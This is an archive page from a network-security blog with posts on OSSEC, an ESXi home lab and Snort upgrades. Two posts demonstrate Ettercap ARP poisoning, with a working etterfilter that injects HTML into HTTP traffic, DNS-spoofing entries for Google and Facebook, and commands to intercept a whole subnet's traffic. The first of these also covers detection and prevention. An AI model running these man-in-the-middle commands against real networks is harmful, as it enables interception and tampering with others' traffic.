Showing posts with label linux. Show all posts
Showing posts with label linux. Show all posts

14 May, 2013

More Ettercap and ARP Poisoning

My previous post about Ettercap gets a lot of hits, so I thought I should post a deeper look at some of the features with examples of usage. Before continuing, I'll point out a couple other good resources since some of my work is just building on that of others.

Irongeek has a couple good pages dealing with Ettercap.

There is plenty more information there if you search his site, plus a number of other sites and forums where you can find information.

I decided to show a couple examples, then relate them to NSM and ways to detect ARP poisoning. I happen to be using FreeBSD as the attacking system in this case, and a Windows 7 system as the targeted system. For my experiment, I'll use the following image.



Here is the filter I used to replace the page title and body with my own title and body. It includes segments from Irongeek's filter, so I'll include the GPL notice.

############################################################################
#                                                                          #
#  nr.filter -- filter source file                                         #
#  Based on work by Irongeek and others http://www.irongeek.com/           #
#                                                                          #   
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################
if (ip.proto == TCP && tcp.dst == 80) {  
   if (search(DATA.data, "Accept-Encoding")) {  
    replace("Accept-Encoding", "Accept-Rubbish!");   
      # note: replacement string is same length as original string  
    msg("zapped Accept-Encoding!\n");  
   }  
   if (search(DATA.data, "gzip")) {  
    replace("gzip", "  ");  
    msg("whited out gzip!\n");  
   }  
 }  
 if (ip.proto == TCP && tcp.src == 80) {  
   replace("<title>", "<title>PWNED<\/tITle><bodY><p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY6fyoF3OxiszT7_hlfbDGYC8_xkIGRrx3REa6_qTYPRHTwVKJzs_IJ1VuY2xbURrYeT84ni6fPKvPhI0WzKqxF64kU2gmsHGnZ_DoJYd8D4QtS8oGExr17GegwF5sZ9cTxO2ubcDB02yW/s400/pwned+DH.jpg"></p></boDY>");  
   replace("<TITLE>", "<title>PWNED<\/tITle><bodY><p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY6fyoF3OxiszT7_hlfbDGYC8_xkIGRrx3REa6_qTYPRHTwVKJzs_IJ1VuY2xbURrYeT84ni6fPKvPhI0WzKqxF64kU2gmsHGnZ_DoJYd8D4QtS8oGExr17GegwF5sZ9cTxO2ubcDB02yW/s400/pwned+DH.jpg"></p></boDY>");  
   replace("</title>", " ");  
   replace("</TITLE>", " ");  
   replace("<body>", " ");  
   replace("<BODY>", " ");  
   msg("Filter Ran.\n");  
 }  
This filter is designed to replace the "title" tag with a new title plus a body that links to the image. Then at the end of the filter, I attempt to replace the original page's title closing tag with a space since I already closed the tag, and then replace the original page's body tag with a space to eliminate the body of the page. I believe you could also use a pcre_regex command in the filter to more thoroughly remove the existing page body after inserting the image or other content of your choosing. See the etterfilter manual page for more.

To compile the filter, I simply execute the following:
$ etterfilter nr.filter -o nr.ef

Then to run ettercap on a FreeBSD VM in this example, I execute the following:
$ sudo ettercap -i em0 -F nr.ef -T -M arp:remote /172.16.126.2/ /172.16.126.131/

The "-T" option is to use the text interface rather than the GUI or ncurses. The "-M" executes a man-in-the-middle with the arguments for ARP poisoning that includes the gateway, which is the first IP address in this case. The second IP address is a Windows system.

Here are some examples of the results if trying to surf using Chrome on the targeted Windows 7 system.

Notice the title is not changed on Slashdot, indicating they do not use a traditional
HTML title tag. The body is also not replaced, just pushed down the page.
Here is what Google looks like.

Success.

Finally, here is my blog.

Success once again. Both the page title and body are replaced.
Another way to show how easy it is to redirect traffic to an unexpected site is with ettercap's DNS spoofing plugin. First, I edit /usr/local/share/ettercap/etter.dns and add the following lines.

facebook.com       A   216.34.181.45
*.facebook.com     A   216.34.181.45
www.facebook.com   PTR 216.34.181.45

google.com     A   131.253.33.200
*.google.com   A   131.253.33.200
www.google.com PTR 131.253.33.200

Then I run ettercap with the plugin enabled.
$ sudo ettercap -i em0 -P dns_spoof -T -M arp:remote /172.16.126.2/ /172.16.126.131/

This 20 second video shows what happens when I then try to go to Google or Facebook from the targeted system.


This can be fairly amusing, particularly if you are on a lab network where shenanigans are not only acceptable but expected. On the other hand, imagine injecting something more malicious than a funny image like a malicious iFrame or malicious Javascript. I played around with injecting Javascript into pages and it really is trivial if you're in a position to poison the network gateway. A good old-fashioned Rickroll is another good way to demonstrate the attack in a non-malicious way.

As I mentioned in a previous post about ettercap,  the Metasploit site was briefly owned through ARP poisoning in 2008. It is an old-school attack that can still be quite effective if you have access to a system on the same network segment as another system you want to attack.

Defenses against ARP poisoning are fairly simple to describe but not necessarily practical or easy to implement. The first, mentioned in the Metasploit article, is using static ARP tables so ARP requests over the network are no longer necessary. This may be simple in the case of a single gateway entry, but the larger the network the more administrative overhead to use static ARP entries.

You can also use software to detect ARP poisoning, for example LBNL's arpwatch. Any software that can show you MAC addresses along with IP addresses can potentially be used to detect poisoning since you would see the same IP address in use by multiple MAC addresses. For example, here is what my ARP poisoning with ettercap looks like in Wireshark.

You can see that the poisoner, 00:0c:29:6d:92:78, is associated with both IP addresses.
So, it is easy to see in the traffic but that doesn't mean it is necessarily easy to detect without some analyst intervention. Snort has an ARP spoofing preprocessor, but it seems likely that an IDS will often be in the wrong position on a network to see ARP traffic. In fact, most networks are probably not instrumented in such a way that you can see ARP traffic on a NSM sensor. It is not actually difficult in a technical sense, but it does require resources to have internal network sensors and make sure the network is architected properly for the sensors to have visibility. There are probably more efficient ways to allocate resources for detection in this case.

There are still other methods to help detect and prevent ARP spoofing, particularly with network equipment like managed switches. Jeremy Stretch has a good write-up on DHCP Snooping and Dynamic Arp Inspection over at his PacketLife blog showing exactly how DAI can be used to prevent and detect ARP poisoning. You can also read about DHCP Snooping and DAI on Cisco's site. This seems like it may be an easier method than IDS deployments since networking equipment is already positioned to see ARP traffic, but it does require equipment that supports ARP inspection.

I had originally thought of also showing how you could combine Ettercap with Metasploit to inject malicious traffic and more in the above examples, but I decided that would overly complicate this post. It is probably better reserved for a future post.

01 May, 2013

Installing OSSEC agent

With the recent news about the latest Apache backdoor on systems using cPanel, I thought it would be pertinent to show the process of adding an OSSEC agent that connects to a Security Onion server. Why is this relevant? Because OSSEC and other file integrity checkers can detect changes to binaries like Apache's httpd.

"OSSEC is an Open Source Host-based Intrusion Detection System that performs log analysis, file integrity checking, policy monitoring, rootkit detection, real-time alerting and active response."
Many systems include integrity checking programs in their default installs these days, for instance Red Hat with AIDE. AIDE is also available in repositories for a number of other Linux distributions plus FreeBSD.

This case in particular would require using something other than the default options for integrity checking because cPanel installs Apache httpd in /usr/local/apache/bin, a non-standard directory that may not be automatically included when computing file hashes and doing subsequent integrity checks.

The reason I'm demonstrating OSSEC here is that it easily integrates with the Sguil console, and in Security Onion the sensors and server already have OSSEC configured to send alerts to Sguild. OSSEC also has additional functionality compared to AIDE. In this case, I'm installing the agent on a Slackware server.
$ wget http://www.ossec.net/files/ossec-hids-2.7.tar.gz

---snipped---

 $ openssl sha1 ossec-hids-2.7.tar.gz
SHA1(ossec-hids-2.7.tar.gz)= 721aa7649d5c1e37007b95a89e685af41a39da43
 $ tar xvzf ossec-hids-2.7.tar.gz

---snipped---

 $ sudo ./install.sh

  OSSEC HIDS v2.7 Installation Script - http://www.ossec.net

 You are about to start the installation process of the OSSEC HIDS.
 You must have a C compiler pre-installed in your system.
 If you have any questions or comments, please send an e-mail
 to dcid@ossec.net (or daniel.cid@gmail.com).

  - System: Linux webserver 3.8.4
  - User: root
  - Host: webserver
 
   -- Press ENTER to continue or Ctrl-C to abort. --

 
 1- What kind of installation do you want (server, agent, local, hybrid or help)? agent
 
  - Agent(client) installation chosen.

 2- Setting up the installation environment.

  - Choose where to install the OSSEC HIDS [/var/ossec]:
 
 3- Configuring the OSSEC HIDS.

   3.1- What's the IP Address or hostname of the OSSEC HIDS server?: 192.168.1.20
 
  - Adding Server IP 192.168.1.20

   3.2- Do you want to run the integrity check daemon? (y/n) [y]:

    - Running syscheck (integrity check daemon).

   3.3- Do you want to run the rootkit detection engine? (y/n) [y]:
 
 - Running rootcheck (rootkit detection).

   3.4 - Do you want to enable active response? (y/n) [y]:

3.5- Setting the configuration to analyze the following logs:
    -- /var/log/messages
    -- /var/log/auth.log
    -- /var/log/syslog
    -- /var/adm/syslog
    -- /var/adm/auth.log
    -- /var/adm/messages
    -- /var/log/xferlog
    -- /var/log/proftpd.log
    -- /var/log/apache/error_log (apache log)
    -- /var/log/apache/access_log (apache log)
    -- /var/log/httpd/error_log (apache log)
    -- /var/log/httpd/access_log (apache log)

  - If you want to monitor any other file, just change
   the ossec.conf and add a new localfile entry.
   Any questions about the configuration can be answered
   by visiting us online at http://www.ossec.net .

   --- Press ENTER to continue ---

---snip---

- Init script modified to start OSSEC HIDS during boot.
 - Configuration finished properly.
 - To start OSSEC HIDS:
                /var/ossec/bin/ossec-control start
 - To stop OSSEC HIDS:
                /var/ossec/bin/ossec-control stop
 - The configuration can be viewed or modified at /var/ossec/etc/ossec.conf

    Thanks for using the OSSEC HIDS.
    If you have any question, suggestion or if you find any bug,
    contact us at contact@ossec.net or using our public maillist at

    ossec-list@ossec.net
    ( http://www.ossec.net/main/support/ ).

    More information can be found at http://www.ossec.net

    ---  Press ENTER to finish (maybe more information below). ---

 - You first need to add this agent to the server so they 
   can communicate with each other. When you have done so,
   you can run the 'manage_agents' tool to import the 
   authentication key from the server.

   /var/ossec/bin/manage_agents

   More information at: 
   http://www.ossec.net/en/manual.html#ma

Next, I add the agent to my Security Onion server.
$ sudo /var/ossec/bin/manage_agents 

****************************************
* OSSEC HIDS v2.6 Agent manager.     *
* The following options are available: *
****************************************

   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.

Choose your action: A,E,L,R or Q: A

- Adding a new agent (use '\q' to return to the main menu).

  Please provide the following:
   * A name for the new agent: webserver
   * The IP Address of the new agent: 192.168.1.5
   * An ID for the new agent[001]: 

Agent information:

   ID:001
   Name:webserver
   IP Address:192.168.1.5

Confirm adding it?(y/n): y

****************************************
* OSSEC HIDS v2.6 Agent manager.     *
* The following options are available: *
****************************************

   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.

Choose your action: A,E,L,R or Q: e

Available agents: 

   ID: 001, Name: webserver, IP: 192.168.1.5

Provide the ID of the agent to extract the key (or '\q' to quit): 001

Agent key information for '001' is: 

---snip---

** Press ENTER to return to the main menu.

Now copy the key, go back to the web server, paste and import the key.
$ sudo /var/ossec/bin/manage_agents 

****************************************
* OSSEC HIDS v2.7 Agent manager.     *
* The following options are available: *
****************************************

   (I)mport key from the server (I).
   (Q)uit.

Choose your action: I or Q: i

* Provide the Key generated by the server.
* The best approach is to cut and paste it.
*** OBS: Do not include spaces or new lines.

Paste it here (or '\q' to quit): ---snip---

Agent information:
   ID:001
   Name:webserver
   IP Address:192.168.1.5

Confirm adding it?(y/n): y

If I was running a system with cPanel that was vulnerable to Cdorked.A then I would want to make sure OSSEC is monitoring the directories with the Apache httpd files. The OSSEC default configuration from my recent install is /var/ossec/etc/ossec.conf and the relevant lines are below:
<syscheck>
    <!-- Frequency that syscheck is executed - default to every 22 hours -->
    <frequency>79200</frequency>
    
    <!-- Directories to check  (perform all possible verifications) -->
    <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories>
    <directories check_all="yes">/bin,/sbin</directories>

So by default OSSEC would apparently not be checking the integrity of cPanel's Apache installation and I would need to add /usr/local/apache to the directory checks. After making any changes for my particular system, I check the status of OSSEC and it is not yet running.
$ sudo /etc/rc.d/rc.ossec status
ossec-logcollector not running...
ossec-syscheckd not running...
ossec-agentd not running...
ossec-execd not running...
$ sudo /etc/rc.d/rc.ossec start 
Starting OSSEC HIDS v2.7 (by Trend Micro Inc.)...
Started ossec-execd...
Started ossec-agentd...
Started ossec-logcollector...
Started ossec-syscheckd...
Completed.

Note after adding the OSSEC agent on the remote system then adding it on the OSSEC server, you must restart ossec-hids-server in order for the ossec-remoted process to start listening on 1514/udp for remote agents.
$ sudo /etc/init.d/ossec-hids-server status
ossec-monitord is running...
ossec-logcollector is running...
ossec-remoted not running...
ossec-syscheckd is running...
ossec-analysisd is running...
ossec-maild not running...
ossec-execd is running...
$ sudo /etc/init.d/ossec-hids-server restart
Killing ossec-monitord .. 
Killing ossec-logcollector .. 
ossec-remoted not running ..
Killing ossec-syscheckd .. 
Killing ossec-analysisd .. 
ossec-maild not running ..
Killing ossec-execd .. 
OSSEC HIDS v2.6 Stopped
Starting OSSEC HIDS v2.6 (by Trend Micro Inc.)...
OSSEC analysisd: Testing rules failed. Configuration error. Exiting.
2013/04/30 23:13:59 ossec-maild: INFO: E-Mail notification disabled. Clean Exit.
Started ossec-maild...
Started ossec-execd...
Started ossec-analysisd...
Started ossec-logcollector...
Started ossec-remoted...
Started ossec-syscheckd...
Started ossec-monitord...
Completed.

$ sudo /etc/init.d/ossec-hids-server status
ossec-monitord is running...
ossec-logcollector is running...
ossec-remoted is running...
ossec-syscheckd is running...
ossec-analysisd is running...
ossec-maild not running...
ossec-execd is running...

$ netstat -l | grep 1514
udp        0      0 *:1514                  *:*    

Note the error corresponding to the FAQ entry about getting an error when starting OSSEC. However, since I'm running OSSEC 2.7 this did not seem to apply. Poking around, I realized the ossec-logtest executable had not been copied to /var/ossec/bin when I ran the install script. After I manually copied it to the directory, restarting OSSEC no longer caused the "Testing rules failed" error.

Once you have installed OSSEC on the system to be monitored, added the agent on the server, imported the key on the system to be monitored, restarted the server process, and started the client process, you will start getting alerts from the newly added system in Sguil. For example, the content of Sguil alerts will look like this after updating gcc:
Integrity checksum changed for: '/usr/bin/gcc'
Old md5sum was: '764a405824275d806ab5c441516b2d79'
New md5sum is : '6ab74628cd8a0cdf84bb3329333d936e'
Old sha1sum was: '230a4c09010f9527f2b3d6e25968d5c7c735eb4e'
New sha1sum is : 'b931ceb76570a9ac26f86c12168b109becee038b'

In the Sguil console, if I wanted to view all the recent OSSEC alerts I could perform a query as pictured below. Note you need to escape the brackets or remove them in favor of the MySQL wildcards '%%'.


Finally, to show an example of the various types of alerting that OSSEC can do in addition to checksum changes, here is a query and output directly from the MySQL console.
mysql> SELECT count(signature),signature FROM event WHERE signature LIKE '%%OSSEC%%' GROUP BY signature ORDER BY count(signature) DESC;
+------------------+---------------------------------------------------------------------------------------+
| count(signature) | signature                                                                             |
+------------------+---------------------------------------------------------------------------------------+
|              388 | [OSSEC] Integrity checksum changed.                                                   |
|              149 | [OSSEC] Host-based anomaly detection event (rootcheck).                               |
|               46 | [OSSEC] Integrity checksum changed again (2nd time).                                  |
|               39 | [OSSEC] IP Address black-listed by anti-spam (blocked).                               |
|               12 | [OSSEC] Integrity checksum changed again (3rd time).                                  |
|                4 | [OSSEC] Web server 400 error code.                                                    |
|                3 | [OSSEC] Receipent address must contain FQDN (504: Command parameter not implemented). |
+------------------+---------------------------------------------------------------------------------------+
7 rows in set (0.00 sec)
The highest count alert, plus the alerts indicating "2nd time" and "3rd time", are the basic functionality needed to detect changes to a file, my original use case. The "rootcheck" is alerting on files owned by root but writable by everyone. The balance of the alerts are from reading the system logs and detecting the system rejecting emails (anti-spam, 504) or web server error codes.

Back to the original problem of Cdorked.A, the blog posts on the subject also indicate that NSM could detect unusually long HTTP sessions, and there are no doubt other network behaviors that could be used to create signatures or network analytics resulting in detection. File integrity checks are just one possible way to detect a compromised server. Remember you need to have known good checksums for this to work! You ideally install something like OSSEC prior to the system being live on the network or at the least prior to it running any listening services that could be compromised before computing the checksums.

22 April, 2013

Home Lab Part 2: VMware ESXi, Security Onion, and More

As I stated in my previous post about a new home lab configuration, I decided to try VMware ESXi 5.1 on my new Shuttle SH67H. ESXi is free for uses like this, presumably because it clearly benefits VMware if professionals can use it in a lab setting and that encourages use of their paid products in production. I have seen some conflicting accounts, but it appears that the main limit on the free version of ESXi 5.1 is 32GB of RAM.

I won't go into too much detail about the installation since it is adequately covered by a couple of other posts I found prior to purchasing my system.

I will mainly cover details that stood out and things I discovered as someone new to ESXi.

I had already planned to get a Shuttle for the small form factor, low noise, and low power usage. Finding out that the SH67H could be used as a white box for ESXi made it easy to pick an initial project once I built the system. (Okay, we could quibble over whether a Shuttle counts as a white box). Additionally, since my previous home network sensor running Sguil had died, I figured that the first VM to build would be Security Onion but that I'd still be able to run multiple other VMs without impacting my home lab NSM.

Getting ESXi installed on the Shuttle was pretty simple. After booting to CD, I just followed the prompts and made sane choices. The one thing to note is that I installed ESXi to an external USB flash drive. Since the OS is so small, it gets loaded primarily to RAM at boot anyway. Using a flash drive has some advantages and some disadvantages, as shown in many discussions on the VMware and other discussion boards. For my home lab I decided to install to the flash drive, but chances are that it will actually make no difference to me. Some ESXi servers have no local storage, so I imagine it is particularly common for those systems to use a USB flash drive.

After using directly connected keyboard and monitor, I moved the system into my home "server closet" and booted it headless. I installed the vSphere Client on my local Windows VM since I don't have a non-VM Windows installation. The vSphere Client was surprisingly easy and I might even go as far as user-friendly. You can see in the screenshot below that it is relatively straightforward.
The error states "System logs on host vmshuttle are stored on non-persistent storage."
The first thing I noticed was, because of installing ESXi to the flash drive, I got the error shown in my screenshot.

This error was only temporary. I am not sure when it was resolved, most likely after a reboot or I created the initial guest VM, but the system created a ".locker" directory in which I can clearly see all the logs. I am assuming they are persistent since vmstore0 is the internal 1TB hard drive, not the USB flash drive.

# cd /vmfs/volumes/vmstore0/
# ls -l .locker/
drwxr-xr-x    1 root     root           280 Apr  7 16:01 core
drwxr-xr-x    1 root     root           280 Apr  7 16:01 downloads
drwxr-xr-x    1 root     root          4340 Apr 16 02:15 log
drwxr-xr-x    1 root     root           420 Apr  7 16:01 var


I believe another option for fixing the error would be to manually set the scratch partition as detailed in VMware's Knowledge Base. Note that I haven't actually tried that to date.

Before being able to SSH into the ESXi host and look at the above directories and files, I had to enable SSH. The configuration for SSH and a number of other security-related services is available in vSphere by highlighting the host (since in the workplace you may use vSphere to manage multiple ESXi systems), then going to the Configuration tab, Security Profile, and finally SSH Properties. If you haven't noticed already, ESXi defaults to using root for everything. I haven't yet investigated the feasibility of locking down the ESXi host, but I think it's safe to say most people will rely on keeping the host as isolated as possible since the host OS is not particularly flexible or configurable outside options VMware provides.

I decided the best way to use vSphere would be to copy my Windows 7 VM from my laptop to the ESXi host. Trying to scp the VM then adding it to the inventory never worked properly. I had similar problems when trying to scp a CentOS VM from my laptop. When I tried browsing the datastore in vSphere and adding a local machine to the remote inventory, it would get partway through and then fail with an I/O error. I believe this was all actually a case of a flaky wireless access point, but even in cases where I successfully copied the CentOS VM I got errors when trying to add it to the inventory.

I eventually got it to work by converting the VM locally using ovftool then deploying it to ESXi. OVF is the Open Virtualization Format, an open standard for packaging virtual machines. The syntax to convert an existing VM is simple. First, make sure the VM is powered down rather than just paused. On OSX running VMware Fusion, you can export a VM easily.

~ nr$ cd  /Applications/VMware\ Fusion.app/Contents/Library/VMware\ OVF\ Tool/ovftool
~ nr$ ./ovftool -dm=thin ~/Documents/Virtual\ Machines.localized/Windows\ 7\ x64.vmwarevm/Windows\ 7\ x64.vmx ~/Documents/VM-OVF/Windows\ 7\ x64/Windows\ 7\ x64.ovf

After the conversion, the VM still needed to be exported to the ESXi host. I plugged my laptop into a wired connection to speed the process and eliminate any issues I was having over wireless, then sent the VM to ESXi. The options I used are to set the datastore, disk mode, and network.

~ nr$ ./ovftool -ds=vmstore0 -dm=thin --network="VM Network 2" ~/Documents/VM-OVF/Windows\ 7\ x64/Windows\ 7\ x64.ovf vi://192.168.1.10/

Once the VM is copied to the host, you will need to browse the datastore and add the VM to the ESXi inventory. Other ways to move a VM to ESXi are not endorsed by VMware. They officially recommend using OVF to import VMs.

All things considered, getting ESXi installed and configured was relatively easy. There are certainly drawbacks to using unsupported hardware. For example, vSphere does not display CPU temperature and other health or status information. I believe ESXi expects to use IPMI for hardware status like voltages, temperatures, and more. There are options to consider for anyone wanting a home lab using supported hardware. VMware maintains a lengthy HCL and I presume systems on their list support all the health status information in vSphere. I did find several possibilities to buy used servers like a Dell PowerEdge 2950 at reputable sites for about $650. Since I didn't want the noise, don't have a rack, and may not keep the system as a dedicated ESXi host, I did not go that route for a lab system.

Building a Security Onion VM


As stated, the first VM I built was Security Onion. I did this through the vSphere client and include some screenshots here. Most of this applies to building any VM using vSphere.

After choosing the option to create a new VM, I selected a custom configuration. I named the VM simply "Security Onion" and chose my only datastore, vmstore0, as the storage location. I am not concerned with backwards compatibility, so chose "Virtual Machine Version 8." I chose only one core and one socket for the CPU, but allocated 4GB of RAM since I knew the combination of Suricata, Bro, and other monitoring processes would eat a lot of RAM. I was installing 64-bit, so I chose 64-bit Ubuntu as the Linux version. 
Choosing the number of NICs, network, and
adapter to use when initially configuring the VM
I selected two NICs both using VMXNET 3, which was probably the first non-standard selection in my custom configuration. I wanted to make sure I had separate management and promiscuous mode NICs since this will be a sensor. The option for VMXNET 3 should not be available as a choice if you previously selected an OS that doesn't support it when you created the VM.

I next chose the LSI Logic SAS for the SCSI Controller. Although I think it won't matter for Ubuntu, note the following from VMware's local help files.
"The LSI Logic Parallel adapter and the LSI Logic SAS adapter offer equivalent performance. Some guest operating system vendors are phasing our support for parallel SCSI in favor of SAS, so if your virtual machine and guest operating system support SAS, choose LSI SAS to maintain future compatibility."
This is a good time to point out that hitting the "Help" button in vSphere will open the local help files in your browser, and they contain actual useful information about the differences in choices when configuring the VM. In the case of the help button during the process of creating a new VM, it will actually open the specific page that is contextually useful for the options on the current step of the process. In general, both their help files and the Knowledge Base seem quite useful.

Finally, I created the virtual disk. This includes deciding whether to thin provision, thick provision lazy zeroed, or thick provision eager zeroed, meaning prepare the disk ahead of time. The documentation states that eager zeroed supports clustering for fault tolerance. I chose thick provisioned for my Security Onion since I knew with certainty that the virtual disk would get filled with NSM data like packet captures and logs. There are a number of KB and blog posts on the VMware site that detail advantages and disadvantages of the different provisioning methods.
The final settings for my Security Onion VM

Once the VM was configured on ESXi, I still needed to actually install Security Onion. You can do it the old-fashioned way by burning a disc and using the CD/DVD drive, but I used mounted the ISO. To do this, you just need to start the VM, which doesn't yet have an OS, then open a console in vSphere and click the button to mount the ISO in the virtual CD drive so it will boot to the disc image and start the installation process. The vSphere console is a similar view and interface to Fusion or Workstation and mounting the ISO works essentially the same way.

The time it took from hitting the button to create a VM to the time I had a running Security Onion sensor was quite short. I had a couple small problems after the initial installation. First, in ESXi you have to manually go to the NIC settings and check a box that allows it to sniff all the traffic. My sniffing interface was initially not seeing the traffic when I checked with tcpdump, which made me realize it was probably not yet in promiscuous mode.

Second, the 4GB RAM and one CPU I had initially allocated was insufficient. When the sensor was running and I tried to update Ubuntu, the system became very unresponsive. I eventually doubled the RAM to 8GB and the number of cores to two, which resolved the issue. I think at this point that I could probably actually drop back down to 4GB of RAM, but since the system has 32GB I don't need to worry about it yet.

Other ESXi Notes


Although ESXi is stripped pretty bare of common Linux utilities and commands, there is plenty you can do from a command line through SSH instead of using vSphere. For example, to list all VMs on the system, power on my Windows 7 VM, and find the IP address so I can connect through RDP:

# vim-cmd vmsvc/getallvms
Vmid        Name                            File                           Guest OS       Version   Annotation
1      Security Onion   [vmstore0] Security Onion/Security Onion.vmx   ubuntu64Guest      vmx-08              
13     Windows 7 x64    [vmstore0] Windows 7 x64/Windows 7 x64.vmx     windows7_64Guest   vmx-09              
6      CentOS 64-bit    [vmstore0] CentOS 64-bit/CentOS 64-bit.vmx     centos64Guest      vmx-08 
~ # vim-cmd vmsvc/power.on 13
~ # vim-cmd vmsvc/get.guest 13 | grep -m 1 ipAddress
   ipAddress = "192.168.1.160",

I can get smartd information from my hard drive if needed.

~ # esxcli storage core device list
t10.ATA_____ST1000DM0032D1CH162__________________________________Z1D3GHKF
   Display Name: Local ATA Disk (t10.ATA_____ST1000DM0032D1CH162__________________________________Z1D3GHKF)
   Has Settable Display Name: true
   Size: 953869
   Device Type: Direct-Access 
   Multipath Plugin: NMP
   Devfs Path: /vmfs/devices/disks/t10.ATA_____ST1000DM0032D1CH162__________________________________Z1D3GHKF
   Vendor: ATA     
   Model: ST1000DM003-1CH1
   Revision: CC44
   SCSI Level: 5
   Is Pseudo: false
   Status: on
   Is RDM Capable: false
   Is Local: true
   Is Removable: false
   Is SSD: false
   Is Offline: false
   Is Perennially Reserved: false
   Queue Full Sample Size: 0
   Queue Full Threshold: 0
   Thin Provisioning Status: unknown
   Attached Filters: 
   VAAI Status: unknown
   Other UIDs: vml.01000000002020202020202020202020205a31443347484b46535431303030
   Is Local SAS Device: false
   Is Boot USB Device: false

~ # esxcli storage core device smart get -d t10.ATA_____ST1000DM0032D1CH162__________________________________Z1D3GHKF
Parameter                     Value  Threshold  Worst
----------------------------  -----  ---------  -----
Health Status                 OK     N/A        N/A  
Media Wearout Indicator       N/A    N/A        N/A  
Write Error Count             N/A    N/A        N/A  
Read Error Count              115    6          99   
Power-on Hours                100    0          100  
Power Cycle Count             100    20         100  
Reallocated Sector Count      100    10         100  
Raw Read Error Rate           115    6          99   
Drive Temperature             32     0          40   
Driver Rated Max Temperature  68     45         65   
Write Sectors TOT Count       200    0          200  
Read Sectors TOT Count        N/A    N/A        N/A  
Initial Bad Block Count       100    99         100  

There is a lot more you can do from the ESXi command line interface, but I should emphasize again that it is stripped fairly bare and does not have a lot of commands you expect if you come from a Linux or Unix background. Even some of the utilities that are available do not have some of the options or functionality you would expect. The CLI commands will generally list options or help when run without arguments. You can also get plenty of CLI documentation from VMware.


Next Steps


I now have a number of VMs installed, including a CentOS snapshot, FreeBSD, and my Windows 7 VM. My next steps will include setting up some VLANs to have some fun with a vulnerable network and an attacker network that will include KaliLinux. I am intimately familiar with Sguil and some of the other tools in Security Onion, but also hope to dig into Suricata and Bro more than I have in the past.

I also hope that my lab will provide some interesting material for future blog posts.

26 March, 2012

Updating to Snort 2.9.2 and Barnyard2

After fixing hardware problems that had my home network sensor out of commission for the better part of a year, I recently got the system inline again. Because the sensor had been down for so long, I was running a fairly old version of Snort, 2.9.0.3, along with barnyard 0.2.0. I decided the first thing I should do after updating the OS itself was update Snort and Barnyard.

I won't go through the process in detail since there are many resources online for installing and configuring Snort. The main thing I will point out is that you should always look in the docs/ directory for information on installing and upgrading. If you're updating from a previous version, pay particular attention to changes and new features. Another important thing to do is look closely at the snort.conf provided with a given version in etc/ since it will have a lot of information on defaults and configuration directives that may be required. These won't always be the same as previous versions. It's also important to update to the latest rule sets, check for new rules files, and do all the other normal tuning to make sure certain rules are turned off or on.

I had two main problems when I updated, one with Snort and one with Barnyard2. Since Snort is the main piece of the puzzle here, I updated it prior to Barnyard. After updating to Snort-2.9.2.1 and fixing the configuration, I was able to run Snort successfully using the options I normally had previously. However, as soon as I put the sensor back inline and Snort started processing packets, Snort would exit with an error.

Can't acquire (-1) - ipq_daq_acquire: ipq_read=-1 error Failed to receive netlink message!

A quick search revealed that I had to remove the ip_queue module. JJ Cummings on the #snort channel pointed out to me that NFQ is the more recent option than IPQ. I am using Slackware-current, so even though it is a maintained distribution it is also not surprising that I was using an older option. Slackware also did not have a couple of the required libraries to compile DAQ with support for NFQ, so I went to Slackbuilds.org to get the files allowing me to create Slackware packages for libnetfilter_queue and libnfnetlink.

Once I got the new packages installed, made sure the ip_queue module wasn't loaded, recompiled DAQ to support NFQ, and changed my Snort init to use --daq nfq, my inline Snort was working once again.

Next, I updated from Barnyard-0.2.0.

$ barnyard2 -V

  ______   -*> Barnyard2 <*-
 / ,,_  \  Version 2.1.10-beta2 (Build 266) TCL
 |o"  )~|  By Ian Firns (SecurixLive): http://www.securixlive.com/
 + '''' +  (C) Copyright 2008-2011 Ian Firns


Barnyard2 is needed to process Snort's newer output mode, unified2. My snort.conf changed from:

output log_unified: filename unified.log, limit 128

to:

output unified2: filename unified.log, limit 128

When I got Barnyard2 up and running, it was obviously not successfully processing the unified2 files from Snort. Barnyard2 kept repeating the following error as it tried to process the files.

WARNING: No function defined to read header.

I found a thread on the snort-users list that indicated Barnyard2 was getting a file type it wasn't expecting, which made sense considering the warning message. This issue gave me more problems than it should have and I eventually realized it was because of an error in my barnyard.conf file. The input is supposed to read "input unified2" but I had somehow managed to include a colon after "input". Once I fixed that line, Barnyard2 started working, with alerts being properly processed and showing up in Sguil once again.

The next update will be to go from Sguil-0.7.0 to Sguil-0.8.0.

28 February, 2011

Using ettercap for ARP poisoning

Ettercap is certainly nothing new, and there is plenty of documentation around to see how to use it, but I was sitting here goofing around and decided to record my results. I am not advocating this type of thing on a public network, and ARP poisoning or other attacks often fall afoul of terms of service for public and private networks, and may even be illegal in some jurisdictions.

First, I looked at my default route.

$ route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
10.71.0.0       0.0.0.0         255.255.255.0   U     2      0        0 wlan0
0.0.0.0         10.71.0.1       0.0.0.0         UG    0      0        0 wlan0


To sniff the whole subnet, I'll want to do some ARP poisoning to send all traffic to/from the default route through my system.

$ sudo ettercap -i wlan0 -T -M arp:remote /10.71.0.1/ //

You can also use "// //" to designate ARP poisoning no matter what source and destination ettercap sees. The "-T" tells ettercap to use the text interface, which is still interactive. There is also a curses-based interface, "-C", and GTK with "-G" though it has always seemed less reliable to me than the others. The curses interface is actually pretty nice.

Once you run the command, ettercap should enumerate hosts and you will start seeing a bunch of traffic information scrolling through your console. How do we know if it's actually working? If you see non-broadcast traffic destined for other hosts, it will be obvious and you will know you're successfully sniffing all the traffic.

Another fun way is by opening etherape to see a realtime visualization of the traffic. If you are seeing typical non-broadcast traffic like HTTP, HTTPS, that's an indicator that you're successfully ARP poisoning. You can also get a quick idea if there are particular hosts getting a lot of traffic activity. I've seen the typical sites like Facebook, Amazon, Akamai, and LLNW, but also more interesting sites that are easily identifiable as VPN concentrators, banks, and more.

